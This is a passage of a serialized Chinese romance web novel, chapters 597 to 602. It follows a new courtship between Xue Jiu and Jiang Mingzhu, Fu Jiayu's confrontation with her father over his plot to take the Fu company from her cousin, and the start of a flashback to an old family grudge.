“你跟姜明珠……什么时候的事?斯年哥哥知道吗?” 她还挺怕因为这种事兄弟反目的。 薛酒在手机另一口开了听可乐,像是笑了:“阿愿,我像是那么不懂事的人吗。” 许愿沉默。 薛酒“啧”了一声:“我怎么不知道你就是这么看我的,如果不是陆哥对她没那个意思我怎么会做这事儿。” “陆哥跟姜明珠的婚约是很久前的了,那时候姜明珠只是看了陆哥一眼就定下了,陆哥更是对情爱没什么意思,他们两人脾气也对不上,迟早要出事的,我前阵子也问了陆哥,陆哥只说如果能追到姜明珠让我好好对她。” 他可不是那么不要脸直接追自己兄弟未婚妻的人,是获得兄弟首肯的。 陆斯年不开口,他也不会做这事儿,太没下限了。 “所以你追她,什么时候开始的事?” 薛酒摸摸鼻子:“就那天你跟姜明珠打算比赛的时候我看到她觉得好漂亮,又了解了下……嗯,你就当我纯好色,我长这么好看肯定要找个一样好看的,姜明珠就很好啊。” 说白了就是看脸。 这许愿没办法反驳,姜明珠确实漂亮,还是那种飒爽的漂亮。 第597章 你这是换人了? “你就单纯看脸?薛酒,别怪我没提醒你,姜明珠的身份摆在这里,如果你是抱着玩玩的心思那最好不要继续胡闹。” “如果你敢耍姜明珠,不要说我这里不同意,就是姜家都会做点什么报复回去,你接不接得住就要另说了。” 许愿最讨厌什么人?当然是渣男。 姜明珠和陆斯年本是未婚夫妻的关系,陆斯年没这个意思也不想耽误姜明珠这件事她可以理解,但她不希望薛酒在没搞明白自己的心意时去接近姜明珠。 因为不论如何受伤害的会是姜明珠,不会是薛酒。 “阿愿你就这么看我?” 薛酒都笑了。 “我寻思我也不是渣男也没游戏人间啊,我在外面风评可比盛景炎好多了。” 那确实是这样,薛酒在外一场恋爱都没谈过,盛景炎就不一样了,之前装浪子的时候情人数量都数不过来。 许愿知道薛酒这人最毒,这是故意噎自己呢。 “你自己注意,如果真的惹出乱子,我可不会管你。”许愿提醒他。 “真无情。”薛酒咂舌:“我就是想跟姜明珠先谈一谈试试,总不能我贪恋她美色只是在追人就真的要我搭上一辈子吧,如果我真的特别特别喜欢她,那我肯定就求婚了,我也不会干什么过分的事,好歹跟你共事这么久你也该了解我。” 硬要说薛酒喜欢姜明珠那也没有多喜欢。 只是一眼觉得姜明珠够漂亮,在他择偶范围内,所以才展开追求。 就像最初盛景炎追求许愿一样。 许愿觉得可能跟自己还不一样,自己被盛景炎追求的时候是刚离婚被伤的最深的时候,且她性子比之姜明珠要理智太多了。 如果是姜明珠……如果不爽了大概会大耳刮子抽他。 啧,想了想觉得还有点意思。 “没有做决定前不要轻易承诺。” 薛酒顿了下笑了笑:‘知道你是为我着急,我这会儿给你打电话还是趁着买爆米花和可乐过来给你打个电话,不聊了,电影要开场了。” 许愿:“……” 还把姜明珠约去看电影了? 去买爆米花和可乐你打什么电话,能不能有点追求人的态度。 许愿还想念他两句,薛酒直接把电话挂了。 糟心。 许愿还是没忍住给他发了条短信。 【许愿】:你自己事你自己留个底,不要因为这件事起什么争执,也不要伤害姜明珠。 那边秒回“电影开场了,好啰嗦啊你。” 许愿:“……” 现在就是很想揍他。 许愿都被薛酒气笑了,倒是盛景炎微微扬眉控制着轮椅过来给她倒了杯热牛奶。 看到盛景炎过来,许愿想到他当初追求自己的时候跟现在的薛酒有那么点想,握住他的手把玩着问:“你当初打算追求我的时候心里在想什么?” 盛景炎眼皮跳了下,这算什么?秋后算账? 他没吭声。 真说了怕是要被许愿阴阳怪气几句。 许愿握紧他的手,凑过去亲他,盛景炎这会儿有点警惕,结果下一秒就感觉嘴唇传来痛感。 嗯,被许愿咬了。 “你不说我就猜不到了?” “无非是觉得我那时能轻易帮你压了你那私生子弟弟让你成了盛世真正的掌舵人所以觉得我跟你想象的不一样有了点兴趣,说白了就是觉得无聊才想追求我。” 盛景炎满脸无辜。 “你少拿这表情唬我,说话。” 许愿伸手捏他脸,盛景炎手臂揽住她的腰将人带劲怀里,很轻的叹息。 “好吧,我说,不过真说了不可以恼。” 许愿盯着他也不回答。 摆明了就是你管我恼不恼就是要你说。 坦白来讲许愿脾气还挺大的。 “那时候看到你觉得很漂亮,男人本就好色。” 哦,第一眼看她好看。 “知道你的能力觉得你有利用价值,且是傅京礼的前妻,追求你能够压傅京礼的风头。” 盛景炎在她面前还挺老实,根本没编什么谎话,他当时确实是这么想的。 许愿开始揉他耳朵了,虽然力气不大,但盛景炎就是觉得许愿似乎是有点生气。 盛景炎内心叹气,握住她的手回应。 “我们最初没有接触过,你也知道我家中那些事情所以很难付出真感情,因为你有这样的相貌会让人产生征服欲,最初的确只觉得合适没有别的心思,但真正接触了才知道非你不可。” “真正了解你才会知道你的外貌是你最不值得一提的优点。” “你聪明,优秀,灵魂散发的是这世界上最美丽的光彩,接触的越久就越是会被你吸引,我是这样,那些人同样是这样。” “所以我经常会庆幸我会在那个时间遇到你,我也感谢我自己那个时间遇到你,没有让你自己一个人面对那些阴霾。” 许愿开始笑。 “就知道你最会说好听话。” 眼前是自己的爱人,他说的都是对她的情意。 她眼底洋溢弥漫的都是笑意,贴近他在他耳边很轻很轻的亲吻:“我喜欢听这些。” …… 薛酒和姜明珠看完电影已经很晚了。 薛酒是个懂得享受的,A市的买的别墅还特地安置了一间星空顶电影房,可以直接在家中享受。 他本意是带姜明珠回自己家看电影,可姜明珠没同意,他只好老老实实去买电影票,也没整包场那一出。 他是真的相貌很好,是那种男女看到都会惊讶的那种,就算有男人看到想骂句小白脸,可薛酒站起来那身高就碾压了,他也纯是长得“漂亮”,其实也是个练家子,肌肉也不是白长的。 姜明珠跟他一起明显看到周围人目光不停落在他们两人身上,甚至还有人拿出手机拍照录像了。 姜明珠没管,她又不是娱乐圈的,不在乎这些。 看完电影照旧是薛酒送她回家,才下车姜明珠就看到自己二哥姜明烨吊儿郎当的站在别墅门口抽烟,一看就是又惹了事儿被大哥赶出来罚站。 一抬头瞥见薛酒和姜明珠。 姜明烨愣了下,“呦”了一声:“明珠,你这是换人了?” 第598章 茶味儿都要漫出来了 “你这是不打算跟陆斯年一起了?” 姜明烨吐了个烟圈,上下打量薛酒几眼。 他可太知道薛酒了,盛华高层,盛华除了陆斯年就是薛酒,这人虽然不是大家族出身但身后没有什么乱七八糟的亲人,三观算正,且长得实在是好看。 巧了,他妹妹就是个颜控,当初看上陆斯年就因为陆斯年长的好看。 薛酒和陆斯年就不是一个类型的,陆斯年是温文尔雅,那薛酒就是纯漂亮,漂亮到雌雄莫辨那种,他妹会选薛酒他完全不奇怪。 “薛酒也行,你喜欢选谁都行。” 姜明烨就是那种不管出什么事我都站我妹的人,也不管自己妹妹是不是渣了陆斯年。 再说了,薛酒不也追陆斯年未婚妻吗?他俩还是兄弟呢,薛酒都不怕他怕什么。 而且薛酒也不是个浪的,这么多年身边干干净净的恋爱都没谈过,姜明珠跟他一起完全不亏。 “没换,你别胡说。” 姜明珠想打人,倒是薛酒脸上带着笑意从后车厢抱出一捧红玫瑰。 姜明珠还没反应呢,姜明烨就哇哦一声:“这叫没换,玫瑰花都送了。” 姜明珠咬牙,更想打人了。 “你没事送什么玫瑰花?”火气撒薛酒身上了。 薛酒有点无辜的眨了眨眼,他本就漂亮,一双狐狸眼都被瞪成杏眼像是受了委屈似的,很像无辜猫猫了。 姜明珠:“……”她怎么觉得自己话说重了有点过分呢? 她深吸一口气抱住那捧花,还担心这人受伤咬牙说了声:“谢谢。” “你喜欢就好。” 薛酒又笑了,笑的温柔。 姜明珠又被这笑迷了一瞬。 直到薛酒走了,姜明烨已经走到姜明珠身边勾住她肩膀忍不住开口:“妹啊,我也没想过你喜欢这样的啊。” “什么意思?”她觉得这不是什么好话。 “你知道薛酒这种人吧,漂亮是漂亮,就是……” 姜明烨拉长声音,姜明珠瞪他:“就是什么?” “就是,他如果掉咱们家这边的湖里,大哥以后都不用泡茶了,咱们别墅区都会弥漫着一股茶香。” 姜明珠:“……” 姜明珠摸了摸耳朵:“哦,我也觉得薛酒香香的,他确实很香,不过你觉得他身上是那种茶味吗?那确实很好闻,没想到二哥你还挺有品味的。” 姜明烨:“?” 我请问呢? 谁夸他了!那是在嘲讽他!嘲讽他装! “你没看出来吗?薛酒在演啊!他那骚狐狸一样的男人装无辜!那双整天勾搭人的狐狸眼就睁大成杏眼了!你看不出来吗!” 都是男人,在这里装什么装? 姜明珠义正言辞:“你少胡说!薛酒不是那样的人。” “他怎么不是了?”姜明烨不服。 “相由心生,他那么漂亮绝对是真无辜,你以后不许在他面前乱说。” 说完姜明珠又看了看姜明烨:“我就说相由心生,你看你长这样,一看就是渣男脸,你都谈过三段恋爱还没结婚,渣男。” 姜明烨:“……” 姜明烨今晚已经无语无数次了。 谈过三段恋爱怎么了啊! 一段是高一早恋一谈谈三年最后人姑娘出国留学分手的,一段是大二谈了两年最后他是被劈腿的那个啊,最后一段那就是在夜店救了哥小白花发现对方想拿他当踏脚石追大哥啊! 不是?他也太无辜了。 “你能不能理智点看待问题。”姜明烨忍无可忍。 “你不能看薛酒长得漂亮你就这么偏心。”姜明烨跟她讲道理。 姜明珠翻了个白眼:“等你什么时候有他那么漂亮再说吧,薛酒白的能发光,哥你就不一样了,你就一裂纹茶叶蛋你还跟他比,你哪里来的自信啊。” 他确实是不白,但也只是正常肤色有点糙,怎么就裂纹茶叶蛋了。 姜明烨觉得自己再说下去就要被姜明珠气吐血了。 “行,你就喜欢听漂亮男人说话是不是,我把唐文晞给你请来!” 要论颜值,跟薛酒漂亮到一块出了名的另一个人就是唐文晞了。 姜明珠呵了一声:“你先把人请到再说。” 唐文晞,TS的总裁,能是你说来就来的? 姜明烨是真不想说话了,他都怕自己再说要被妹妹气死。 行,一个愿打一个愿挨,陆斯年是没戏了,他管不了,直接冲进别墅去姜明钰的房间,叽里呱啦一通告状,把薛酒描述的跟什么反派似的。 姜明钰就说了一句:“薛酒跟许愿关系很好。” 所以呢? 他也知道薛酒跟许愿关系好。 结果下一秒就听到大哥说:“能让许愿认可成为朋友的,人品是没问题的。” 姜明烨开始挠头烦躁了。 妹妹被薛酒那漂亮脸蛋儿迷惑了,大哥被许愿迷惑了,感情你俩才是真颜值亲兄妹,就他才像是捡来的吗? 姜明烨一度认为自己是家中智商盆地,直到现在才明白,这俩人智商是高但是全都恋爱脑,他才是那个正常人。 爱咋咋地吧,管不了一点。 …… 许愿和姜明珠同时代表盛世和姜氏要合作的事传出去,这是谁也没想到两人都退让一步,有些本在观望的也有些不敢置信。 毕竟最初姜氏来A市就是为了收购吞并盛世,但现在看着却很友好都开始合作了。 这一举动也让盛世股价上涨,算是临时解了姜氏带来的危机。 许宁看着网络上传出的消息脸色越来越沉。 姜氏本来是为了对付盛世对付许愿,现在两方都要合作了,那还有对阵的一天吗?她期待的就成空想了吗? 傅守越找她合作让她做事现在却没有给她再派发什么任务,她心里有些发慌。 许愿站得越高她就越慌。 许宁赶紧翻出傅守越的电话打过去,对面很快传来男人淡漠的声音。 “傅守越,你说过要我帮你的,现在我已经在傅氏了,你需要我做什么!” 她没忘傅守越要跟她合作搞垮傅氏再对付盛世。 她现在满脑子都是这些,完全不能理智。 傅守越报了个饭店包厢,让她先去等,许宁得了命令才终于算是松了口气。 只要傅守越还需要她就好。 第599章 你敢问他在做什么吗 傅守越订的是一家会馆,会馆私密性强,很多人谈合作若非华庭就会定在这里。 他推开门时就见到许宁似乎是已经等了很久,甚至脚边多了几个烟头,看着应该是等了很久。 竟然还学会抽烟了? 傅守越顿了下,目光落在她身上,只一瞬便收回目光。 房间内烟味儿有些大,他记得傅嘉誉不喜欢烟味儿,便开了房间的净化器,窗户也被他打开了。 不等傅守越开口问句什么许宁就已经将烟灭了开口道:“你找到我的时候说需要我做很多事,要我帮你盗取文件,帮你整垮傅家让你上位,但这么久过去了,你没有给我任何消息,说吧,我接下来该怎么做。” “这么着急?” 傅守越倒了杯茶,摇晃着茶杯,声音确实很淡。 他已经跟傅嘉誉在一起了。 他们两人明面上说是兄妹,其实傅守越只是被傅长海养在身边,户口都没再傅家,没有血缘户口不在同一个本上,说白了他早年就是傅长海定个傅嘉誉的人。 他知道这些,傅长海知道这些,唯有傅嘉誉不知道。 现在两人终于在一起,他心也有点散,全因傅嘉誉会经常拽着他看电影约会抓娃娃,甚至还陪着她去漫展逛商场去游乐园,能玩的都玩了个遍。 现在心里都是傅嘉誉,倒是真的忘了正事。 经许宁提醒他才想起正事。 他是傅长海的棋子,傅长海需要他帮傅嘉誉夺回傅家,由傅嘉誉继承傅家。 “我不是着急,我是担心!”许宁情绪激动;“是你把我拉下水给我描绘了未来的美好蓝图,我还想跟着你夺得傅氏过上好日子。” 许宁从一开始为的就是爬的高一些。 其实她从最开始就想错了,她得到的已经够多了。 最初许家没有破产,她也是许镇江最疼爱的女儿,而她的母亲嫁给了风尚的医生主任也有自己的人脉。她想结婚能嫁给圈内不错的家族,不想结婚也有许镇江给的房产资产股票,足够她一世潇洒。 可偏偏她就是看不到这些,只想爬的更高得到更多的不属于她的东西。 因为她的贪心,迫使傅京礼和许愿离婚,她也成了人人喊打的小三,到这时还不肯低头还要一次次陷害许愿,许家也因此破产,即便如此散尽家财也要在网络上黑许愿,就这样资产一点点缩水,而自己却是一点好处都没捞到。 甚至母亲二嫁的男人也因为她入狱被毁掉一辈子。 本来该有个令人艳羡的美好一生,却因为她自己毁掉了一切。 所以她才更希望有人能带着自己走一条新的路,重新爬起来,爬得更高,这样她才能告诉自己,此前做的没有错。 傅守越深深的看她一眼,片刻后正要开口,包厢的门被猛地推开。 许宁吓了一跳,条件反射的站起来。 下一秒看到房门口站着的事傅嘉誉,脸都黑了。 直到现在她还是没有忘记自己当初是如何被傅嘉誉侮辱嘲讽甚至将水泼到她脸上让她狼狈的。 傅嘉誉踩着高跟鞋缓缓走进来,看到许宁眉头缓缓皱起,唇角的笑意都是冷的。 “你匆匆忙忙出来就是为了见这个女人?” 傅嘉誉走到傅守越身边拽住他衣领,一副傲娇大小姐的模样:“我不许你跟这种知三当三毫无下限的女人有什么交流,她不配搭上我们傅家,让她走。” 她跟许愿虽然关系早不如从前,但许宁这种小三私生女也不配出现在她面前。 臭虫就该躲起来,而不是招摇过市。 傅守越有些无奈的握住她的手,眼神示意许宁先走。 许宁被傅嘉誉的话伤到,眼神一暗,抬手指向傅守越:“你以为傅守越就是好人吗?” “说我知三当三无下限不配接近傅家!你们傅家不也一团乱麻!你不是跟傅京礼关系好吗?你知道傅守越要对付傅京礼吗!” 许宁找到傅守越说自己最近有什么任务没有,傅嘉誉看到了开始闹,傅守越解释傅嘉誉不听让他不许跟许宁来往,傅守越无奈 “他和傅长海要为你争为你从傅京礼手里抢夺傅氏!” “你多幸运啊,有你父亲和男人在前面冲锋陷阵,你只要在后面做你无忧无虑的傅家千金就好……凭什么!” “我不是好人,你们就是什么好东西吗!” “你敢问傅守越现在在做什么吗?你敢吗!” 许宁说着说着几乎要吼出来,脸都涨红了。 傅嘉誉眸光紧跟着闪了闪,显然也是因为这话有片刻的愣神。 她目光落到傅守越身上,似是在等他的解释。 傅守越也没想到许宁这么疯,在这种情况下全盘托出。 一双黑眸染上几分戾意,眼神冰冷的落到许宁脸上,许宁被这样的眼神吓得哆嗦了一下,然后慌慌张张的逃出房间。 许宁被吓走了,包厢的门被重新关上。 可房间内一片寂静。 傅嘉誉就这样盯着傅守越,声音都是冷的:“傅守越,许宁说的是真是假。” 她当然在意真假,想知道真相。 如果是真的,傅嘉誉真的会难过。 因为她很清楚傅京礼为傅家做了多少事,这么多年都是傅京礼宠着她护着她,她想要跑车傅京礼会让人去国外买回来,想要首饰他会直接拍下来,需要研究室他就特地捐一间研究室只为了她能在A市活的潇洒自由。 而她父亲呢?她知道父亲也做过很多事,全都是傅京礼为他抹平痕迹。 傅京礼对他们可以说是仁至义尽。 钱也好,权也好,全都没有少了他们的。 傅嘉誉可以说傅京礼是个对许愿不好的渣男,可以说他不是个好丈夫好爱人,但她说不出傅京礼不是好哥哥的话。 傅京礼真的对她很好很好,冷着脸的哥哥会在冰天雪地里因为她一句喜欢南方的花朵想看花就让人直升机移植花朵为她盖了一座温室花房。 她在意父亲,也同样在意傅京礼和傅守越。 如果他们三个人对上,傅嘉誉只会伤心难过。 “傅守越,你说话,到底是不是真的。” 傅守越沉默。 傅嘉誉太了解傅守越,他越是沉默,越证明这事情的真实性。 “为什么呢?” 她不懂,也不明白。 “是父亲让我这么做的。”傅守越沉默片刻开口,他不愿继续瞒着傅嘉誉。 傅嘉誉更不明白了。 傅守越不会主动对付傅京礼,可父亲呢?为什么要这样做?傅京礼做的还不够多吗? 傅守越抬手抚摸着她额前的发缓缓开口:“父亲很爱你,她说你是他最疼爱的女儿,他希望把这世界上最好的一切都捧到你面前让你幸福快乐,包括傅家的家业,他相信你也有接手傅氏的实力。” 第600章 小没良心的 “我知道父亲是为了我,可是他从没有问过我想不想要。” 傅嘉誉说这些时心里都是有点惆怅甚至是慌乱的。 她其实心里很清楚自己想要什么,可偏偏父亲不清楚。 父亲给的,不一定是她要的。 “傅家是怎么来的我很清楚,当初爷爷那一辈傅家几乎快要败了,是大哥的父亲撑起了傅家,大伯本意不在商,却为了傅家辞去了原本的工作到处拉投资陪人吃饭应酬,身体一直不算好,后来大伯意外身亡,爷爷才暂时管理傅氏,等到大哥成年就将公司重新交给了大哥。” “若不是大伯,傅氏早就没了。” “大伯和大哥做的还不够多吗?傅氏本就因为大伯重新活过来,大伯给了我父亲散股,足够父亲养尊处优,大哥也给了我散股,甚至给了我副卡,我想要的喜欢的他都会给我,他们都已经做到这一步了,为什么还要继续盯着傅氏?” “如果真的继续抢夺傅氏,那我们成什么了?忘恩负义之辈,我们还有良心吗?” 傅嘉誉一字一句像是质问,又像是不解。 傅长海也好,傅京礼也好,他们都将傅嘉誉教的太好了。 她出生的时候傅家已经被傅京礼的父亲救回来,一出生就是众星捧月的傅家千金,上又傅老爷子和大伯以及自己父亲的疼爱,下有傅京礼疼着她宠着她,说是A市最为骄纵的千金小姐不为过。 可偏偏他们就是把傅嘉誉教的很好。 她任性但有底线,胡闹却又守规矩,自小便嫉恶如仇。 喜欢也好不喜欢也好全都藏不住写在了脸上,会因为傅京礼冷待许愿而跟他怄气,也会因为傅京礼离婚后醉酒而为他担忧。 他们是兄妹,不是仇人。 仇人才会如此。 傅京礼是她血缘上的大哥,疼了她这么多年的大哥。 她怎么能做出那种背叛他的事情? 哪怕决定做这一切的是傅长海她也绝不会同意,她从来都是帮理不帮亲,父亲错了就是错了,决不能让父亲继续一错到底! “傅守越,傅氏是大哥的,从前是大哥的以后也是大哥的,我不会争也不会抢。” “我知道父亲给我起这个名字对我寄予厚望,可没人说过我就一定要继承家业,我学的金融,我一样可以创业。” “我知道你会说创业可能会失败,可我不一样的。” “其它普通出身的人创业可能要拿出全部积蓄去博一个未来,可我有一个好大哥,他把我养的太好了,就算我创业赔的血本无归他也不会不帮我,他是我的退路。” “这样好的大哥,我怎么能伤害他?” 她自小对傅京礼就是带着膜拜和崇敬感的,她不允许傅京礼被伤害。 傅守越一时无言。 这就是傅长海为什么说要瞒着傅嘉誉的原因,因为傅家所有人的都对她很好,没有人在她面前路出阴险狡诈心思深沉那一面。 所以哪怕傅嘉誉临近毕业也还是天真烂漫宛若孩童般单纯。 若是普通人即将毕业还这样单纯社会会教会他们什么是现实,什么是属于社会的规则。 可傅嘉誉不用。 因为傅家就是底气,只要傅家不倒,她可以一辈子都这样无忧无虑。 傅长海想为她博一个未来,可她不想要。 名利权益,她放弃了,她选择的是亲情。 傅守越内心对傅氏再多的算计都在这一刻化作泡影,他看着面前义正言辞的未婚妻,忍不住伸出手捏了捏她的嘴巴。 她还正在生气,被他捏了个准,嘴巴都变成了小鸡嘴似的。 此刻瞪圆眼睛看着他,继续生气。 “傅守越……傅守越……你听到没有,不许对付我大哥!” 说完,咬了他一口,力气还不小,在他指尖留下一圈牙印,十分明显。 傅守越收回手,但看她此刻炸毛的模样有点手痒的伸手挼了把她的头。 “小没良心的,我都是为了谁。” 傅嘉誉抱住他的手臂摇晃了下;“我知道你很爱我,父亲很爱我,可是这是我的选择,我想让傅家人所有人都好好的,不要因为利益而断了我们之间的感情。” “傅守越,你会陪着我一起重新创业的对吧。” 在傅嘉誉眼中,傅京礼无所不能,傅守越同样无所不能,而且对她更为溺爱。 他这些年在国外不是白待的,早就创建了属于自己的公司品牌,虽然不及傅氏,但也算是排的上号的,就算放到A市也足以让人奉承,是绝对能护住傅嘉誉的。 “当然。”他环抱住自己面前天真的未婚妻,声音带着点温柔的哑意:“你知道的,你说什么我都会听。” 傅守越天生就是来爱傅嘉誉的。 傅嘉誉开始傻笑,眼睛弯弯的。 她拍了拍傅守越的肩膀,眼睛都是亮晶晶的,傅守越哪里不懂她的意思,下一秒就弯下腰身,傅嘉誉不满的戳戳他的腰。 “再低点。” 傅守越无奈半蹲下身,她立刻扑过来两条手臂抱住他的脖子,他两条手臂勾住她的腿让她稳稳的在自己背上以防摔到。 “带我去见我爸,我要跟他说清楚,不许他再做坏事了。” 傅守越顿了下,到底没说出更多现实的话。 “好,我带你去。” …… 这么长时间傅长海还坐在轮椅上,双腿打了石膏却还没有完全恢复,他有些虚弱,但即便如此也没忘记抢夺傅氏。 他最近一直都在老宅养身体,傅老爷子不在家,出去跟附近的老朋友们遛弯下象棋。 傅守越和傅嘉誉赶回去时傅长海正冷着一张脸让人继续拿着从许愿那里拍到的苏青莲当初的全息资料的手稿继续研究。 直到门被推开,傅长海不耐的挂断电话,眼底都阴翳着怒意。 看到来人是傅嘉誉,傅长海眼底的阴狠寒意瞬间消散,只余温柔。 “嘉誉,你怎么来了。” 傅嘉誉看着面前的父亲,她觉得父亲其实是有点陌生的,但具体是哪里陌生她也有些说不上来。 只是看到父亲这副模样心里有些发堵。 她没办法跟父亲大吵大嚷问他为何要对付傅京礼,因为这是疼爱她多年的父亲。 她松开傅守越的手,一步一步走到傅长海面前,她看着面前不像以前那般健壮的父亲,他好像又瘦了,头上的白发也多了起来。 好像一夜之间,她的父亲就老了。 她握住傅长海的手,忍着内心的酸涩稍稍用了一点力气。 “爸,我都知道了。” 第601章 别再继续盯着傅氏了 傅嘉誉的一句话让傅长海心都沉下去。 知道了? 知道了什么? 傅长海有一瞬间的茫然,他似乎不知道要如何回应自己的女儿,嘴巴张了张却什么话都说不出,笑容都带着些许沧桑感。 最终目光缓缓落到傅守越身上,饱含深意,带着些许逼迫。 傅嘉誉抿唇:“爸,不是阿越哥哥告诉我的。” “是我想要见他问了他助理他的形成,他的助理从不会瞒我任何事,所以我撞见了他跟许宁见面,许宁告诉了我真相。” 傅嘉誉是傻白甜,但也不是绝对的蠢。 有些事情她是能猜透的。 就像她已经知道父亲并不是多喜欢傅守越,也从未将傅守越当做亲生儿子,他将傅守越养在身边无非是因为她缺了玩伴,而他也缺个听话的棋子。 小时候她确实不懂,可她现在长大了,长大自然就懂了。 这一切是父亲在傅守越幼年时期就谈好的条件,他的名字就已经暴露了一切。 守越,守约,让他不要忘记当初的承诺,他就是要让傅守越护着她抢夺傅氏。 她的父亲或许很早前就决定对傅京礼出手了。 “爸,傅家的东西我拿的够多了,不要继续执着傅家的东西了,好吗。” 她眼睛一眨不眨的看着傅长海,只是在等他的回应。 她想要父亲准确的回答才能安心,她希望傅家永远是现在这个傅家,而不是以后会分崩离析,她不要这样的结局。 傅长海脸上的笑意早就僵了,他不由得动了动手指,去抚摸女儿的长发,声音一如往常那般温柔。 “嘉誉,为什么要这么想呢。” “我们都是傅家人,你也同样优秀,傅京礼能够继承傅家,你也一样有继承傅家的权利不是吗?” 傅嘉誉摇头:“不是这样的。傅氏是大伯救回来的!大哥是大伯的儿子,所以傅氏本就该是他的。” 傅长海像是无奈的叹了口气。 “嘉誉,你也看到傅氏现在四面树敌,本来还算是盟友的盛世因为许愿的原因成了对立的公司,盛华更是跟盛世不停合作,傅氏的对家远程也在盯着傅氏,可以说是腹背受敌,且这一切都是傅京礼带来的。” “如果换个领导人,如果是你坐在傅氏总裁的位置上,许愿或许不会继续针对傅氏,我不是要抢傅氏,我是为了救傅氏。” 傅长海就是有能力将黑的说成白的,将坏的说成好的。 可傅嘉誉长大了,已经不是幼年随便一句话就能糊弄的幼童了。 她看着面前继续找借口的父亲。 “爸,你很久前就开始对付大哥了,那时候大哥没有出过任何错误不是吗。” 傅长海不笑了。 “现在就算大哥做错了事,或许还有弥补的机会,而不是我们作为他的亲人去觊觎属于他的资产,那不是亲人,是仇人。” 她就这样直接戳破了傅长海的谎言,毫不留情。 “爸,别再继续盯着傅氏了,好吗。” 傅嘉誉眼睛都是发亮的。 “大哥对我很重要,爸你对我也很重要,我真的不希望我最在乎的亲人因为权势对立。” “我已经跟阿越哥哥说好了,阿越哥哥说会帮我跟着我一起创业的,这就是最好的选择了。” “爸,放弃你原本的计划,好不好。” 傅长海脸上已经没了表情,他看着眼前天真的女儿,心里有些难过恍惚。 许久后,他终于开口:“好。” 他就这样轻而易举的答应了,答应的太快,傅守越有一瞬都觉得自己可能是听错了。 他觉得事情没这么简单,但是这些却不能跟傅嘉誉说。 傅嘉誉却当真了,因为在她心里,傅长海从没有骗过她。 她眉眼弯弯的,很开心自己解决了家族的事情,然后扑进傅长海怀中撒娇,说着最近学校里面发生的事,还提及自己跟傅守越去看了电影,去了游乐园,还拍了特别喜欢的珠宝首饰。 她总是这样开心的,带着笑模样。 傅守越目光落在她身上,眼神一错不错。 傅嘉誉是背对她的,此刻正埋进傅长海怀里,所以看不到两人的眼神对接。 傅长海盯着傅守越,眼神是冷的,不带半分感情。 只一个眼神,傅守越就知道,傅长海在骗她。 他不会终止他的计划。 傅嘉誉却很开心,开心到晚上傅老爷子回来后多吃了一碗饭,惹得自己肚子都撑了,只能耍赖的让傅守越陪自己去别墅后花园转一转消食。 转了那么一圈回来后傅嘉誉就困了,头一沾枕头就睡了。 傅守越有些无奈的为她掖好被子,调了空气加湿器,省的第二天傅嘉誉又要嚷嚷自己皮肤干了。 等出了傅嘉誉的房间,就看到书房的门没关。 是傅长海在等他。 傅守越甚至连思考的时间都没有便已经走进书房。 傅长海在欣赏字画,听到脚步声也没抬头,目光一错不错落在才拍回的字画上。 傅守越没有主动开口,就站在一旁,等着傅长海什么时候想起他。 房间一片寂静,墙壁上的钟表指针不停走着,滴答滴答。 不知过了多久,傅守越听到傅长海沉声开口:“嘉誉说的那些,你怎么想。” 他在等傅守越的意见。 傅长海终于抬头,两人四目相对,傅守越就感受到傅长海眼底藏着的阴冷。 “父亲应该了解我,嘉誉说什么我都会听。” “所以你是真的打算让我放弃我原有的计划?我准备了这么多年,就这样放弃?再过不久或许我的嘉誉就能得到傅氏了……马上就可以成功了。” 傅长海对这些像是已经有了执念。 “父亲,嘉誉很爱你。” 傅守越开口说完这句话,傅长海很显然愣了一瞬,却听傅守越继续道:“她爱你,同样也爱傅京礼。” “你们都是她最在意最重要的人。” “父亲一直想要的都是傅家,那有没有想过一直针对傅京礼,最终得到的结果可能会是两败俱伤的结局。” “傅京礼不是普通人,他心思缜密做任何事都扫平了痕迹,哪怕是面对许愿也不落下峰。” “父亲也知道您做的很多事都是傅京礼为您扫尾,他的手中必定有您很多犯罪证据,如果一直逼迫傅京礼,等到以后彻底翻脸后,傅京礼很有可能会将那些犯罪证据呈上来。” “如果安歇犯罪证据公诸于世,父亲有没有想过您的下场?” “无论是有期徒刑还是死刑,都是嘉誉无法接受的。” “就算父亲真的赢了傅京礼,他没有放出这些证据,傅京礼输了傅氏又能有什么好下场?嘉誉在意的就是她们之间的亲情,如果毁掉这一切,那傅京礼还会认她这个妹妹吗?” 第602章 上一辈的恩怨 “无论是跟傅京礼之间断了兄妹情意,还是父亲您被判刑,每一个结局都不是嘉誉想看到的。” “嘉誉想要的很简单,就像现在这样,保持原样就够了。” 傅守越是从傅嘉誉的角度来考虑,一字一句说的很清楚,可偏偏傅长海就有些接受不了。 他当然在意傅嘉誉,那是他从小疼到大的孩子。 可他不想就这样认输,这么多年都过来了,已经到最后了,为什么要毁掉自己多年的棋局。 做不到啊。 “这件事我自有定断,你不必再插进来,只要好好照顾嘉誉就够了。” 这是傅长海想到的最好的结局了。 他需要有个人无论发生任何事都能收到傅嘉誉身边守着她护着她,显然傅守越就是第一人选,也是他最信任的人。 傅长海早就想过最坏的打算,无非是自己的罪证被傅京礼公布,自己被判死刑。 如果真的到那一步他也认了,他只是怕自己出事后嘉誉会受不住。 可万幸还有个傅守越,足够了。 “父亲一定要继续针对傅京礼吗。”傅守越不明白傅长海为什么这么恨傅京礼。 “你不懂,这是我跟他父亲的事,是我的执念。”傅长海眸光黯淡一瞬,片刻后眼底都是恨意。 那是属于上一辈的恩怨。 最初傅长海跟傅京礼的父亲傅长安兄弟感情很好,傅长安对他就像现在的傅京礼对傅嘉誉这样,可以说是溺爱。 直到少年时期,傅长海遇到了苏薇。 苏薇是傅京礼母亲苏梅的妹妹,他第一次见到苏薇就忍不住爱上苏薇,可偏偏苏薇喜欢的是他大哥。 那时傅长安已经有了傅京礼,且夫妻恩爱,偏偏苏薇也喜欢他。 他那时觉得大哥的确优秀,可心里还是忍不住生了怨怼。 直到几年后苏薇怀了孩子,她执意说是傅长安的孩子,是傅长安约她晚上出去见面,她一定要嫁给傅长安,她要让苏梅和傅长安离婚娶她。 傅家果然因为苏薇乱作一团,但为了傅家声誉这件事没有被传出去。 傅长安如何解释却没人想听,直到苏薇诞下一名女婴后难产去世。 傅家带孩子做了亲子鉴定,鉴定结果与傅家没有任何血缘关系。 原是那晚苏薇约傅长安去看电影,傅长安没有去,苏薇被旁人药倒发生关系,甚至孩子的父亲是谁都不知,且还因为这个孩子难产而死。 傅长海真的恨,他恨傅长安那晚为什么不去,如果他去了,将苏薇带回家那就不会发生后面的事。 她不会被侮辱也不会难产而死。 